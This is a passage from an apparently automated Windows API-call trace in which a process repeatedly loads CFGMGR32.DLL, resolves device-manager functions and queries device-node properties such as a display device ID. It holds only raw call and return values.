ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.108] malloc (_Size=0x48) returned 0x196ef0fb360 [0223.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65d5f00d, dwHighDateTime=0x1d9eb0c)) [0223.109] SetEvent (hEvent=0x248) returned 1 [0223.112] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.112] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.115] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0223.116] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.116] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0223.116] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65d880af, dwHighDateTime=0x1d9eb0c)) [0223.116] SetEvent (hEvent=0x248) returned 1 [0223.121] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.121] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.122] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.123] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.131] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.131] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0223.132] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.132] malloc (_Size=0x48) returned 0x196ef0fb720 [0223.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65dabd0c, dwHighDateTime=0x1d9eb0c)) [0223.133] SetEvent (hEvent=0x248) returned 1 [0223.139] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.139] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.140] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.144] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.144] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.144] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.144] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.144] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.192] malloc (_Size=0x18) returned 0x196ef0d19c0 [0223.192] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.192] malloc (_Size=0x48) returned 0x196ef0fba90 [0223.193] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65e43f17, dwHighDateTime=0x1d9eb0c)) [0223.193] SetEvent (hEvent=0x248) returned 1 [0223.198] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.198] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.201] malloc (_Size=0x18) returned 0x196ef0d1e60 [0223.202] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.204] malloc (_Size=0x48) returned 0x196ef0fb2c0 [0223.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65e43f17, dwHighDateTime=0x1d9eb0c)) [0223.204] SetEvent (hEvent=0x248) returned 1 [0223.208] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.208] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.211] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.211] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.211] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.211] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.211] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.211] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.211] malloc (_Size=0x18) returned 0x196ef0d19e0 [0223.212] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x1e, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0223.212] malloc (_Size=0x48) returned 0x196ef0fba40 [0223.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x65e6a244, dwHighDateTime=0x1d9eb0c)) [0223.212] SetEvent (hEvent=0x248) returned 1 [0223.217] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.217] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.219] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.220] malloc (_Size=0x18) returned 0x196ef0d2020 [0223.220] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x1e, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0223.220] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0223.220] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x65e6a244, dwHighDateTime=0x1d9eb0c)) [0223.221] SetEvent (hEvent=0x248) returned 1 [0223.224] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.224] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.227] malloc (_Size=0x18) returned 0x196ef0d1d00 [0223.228] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0223.228] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0223.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65e90459, dwHighDateTime=0x1d9eb0c)) [0223.228] SetEvent (hEvent=0x248) returned 1 [0223.233] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.233] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.235] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.235] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.235] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.235] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.235] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.235] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.235] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.235] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.236] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.236] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.236] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.236] malloc (_Size=0x18) returned 0x196ef0d1a80 [0223.236] CM_Get_Device_IDA (in: dnDevInst=0x1f, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="DISPLAY\\DELA007\\4&27B1E55B&0&UID0") returned 0x0 [0223.236] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0223.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x65e90459, dwHighDateTime=0x1d9eb0c)) [0223.237] SetEvent (hEvent=0x248) returned 1 [0223.275] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.275] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 